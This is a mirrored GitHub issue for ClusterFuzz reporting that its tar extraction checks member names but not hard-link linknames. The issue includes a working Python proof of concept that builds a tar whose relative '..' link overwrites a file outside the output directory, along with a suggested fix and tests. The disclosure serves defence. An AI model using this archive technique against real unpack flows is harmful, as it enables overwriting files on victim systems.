google / google/clusterfuzz

system/archive.py: tar hard link linknames with '..' can overwrite files outside the extraction directory

Open
#5,436 0 comments 0 reactions 0 assignees View on GitHub
Dominant language
Python
Stars
5.6k
Forks
629
Avg merge
4d 6h
Merged PRs (30d)
22

Description

## Summary

`TarArchiveReader.extract` (`src/clusterfuzz/_internal/system/archive.py`) validates archive member **names** against path traversal (`_is_attempting_path_traversal`), but never validates the **linkname** of hard link members. A tar containing a hard link whose relative `linkname` includes `..` causes CPython's `tarfile` to `os.link()` an existing file **outside** the extraction directory into it; a subsequent write through that alias (e.g. a regular member that resolves to the same path) overwrites the outside file with attacker-controlled content.

The existing realpath containment check cannot detect this: `os.path.realpath` does not resolve hard links, so the aliased path still appears to be inside the output directory.

## Reproduction (stdlib only)

```python
import io, os, tarfile

os.makedirs("/tmp/poc/out", exist_ok=True)
open("/tmp/poc/victim-file", "w").write("ORIGINAL")

with tarfile.open("/tmp/poc/evil.tar", "w") as tf:
link = tarfile.TarInfo("innocent.txt") # clean member name
link.type = tarfile.LNKTYPE
link.linkname = "../victim-file" # relative .. escapes the output dir
tf.addfile(link)

data = b"PWNED"
payload = tarfile.TarInfo("innocent.txt") # same clean name
payload.size = len(data)
tf.addfile(payload, io.BytesIO(data))

with tarfile.open("/tmp/poc/evil.tar") as tf:
for m in tf.getmembers():
# _is_attempting_path_traversal(archive, out, m.name) -> False for both
tf.extract(m, "/tmp/poc/out") # no filter=, as in archive.py

print(open("/tmp/poc/victim-file").read()) # -> PWNED (outside the output dir)
```

Notes:
- An **absolute** linkname does not work (CPython strips the leading `/` and joins inside the output dir); the escape requires a **relative** linkname with `..` of the correct depth.
- The member names involved are clean, so the name-based guard passes; only the linkname escapes.
- Reachable through the untrusted archive upload/unpack flow (`TarArchiveReader.extract` at `archive.py`, looped by `extract_all` from the unpack task).

## Suggested fix

Apply the same containment check to the resolved hard-link target that `tarfile` itself will use (mirroring its absolute-target re-rooting). Implemented in the attached PR, along with regression tests:
- `test_tar_hardlink_traversal` — escaping relative linkname is rejected, victim file untouched;
- `test_tar_hardlink_within_directory` — legitimate in-archive hard links still extract (archive built with real on-disk hard links so the linkname is in canonical member-rooted form).

An alternative is passing `filter="data"` to `tarfile.extract` on Python ≥ 3.12; the guard approach in the PR is version-independent and mirrors the existing check style.

This issue was reported to the Google Bug Hunters team, who classified it as valid but below their security-tracking threshold and explicitly permitted public disclosure.

Contributor guide

Open the contributing guide

Research direction

Start in src/clusterfuzz/_internal/system/archive.py at TarArchiveReader.extract and its _is_attempting_path_traversal check, then trace how extract_all invokes it. Run the regression tests named test_tar_hardlink_traversal and test_tar_hardlink_within_directory. Done means escaping hard-link targets are rejected without changing the victim file, while legitimate in-directory hard links still extract.

Written by the indexing model from the issue text.

Assessment

Tech stack
python
Domain
security
Issue type
Bug
Difficulty
3/5
Estimated time
1-2 days
Activity status
Active
Clarity
Clearly specified
Newbie friendliness
68/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.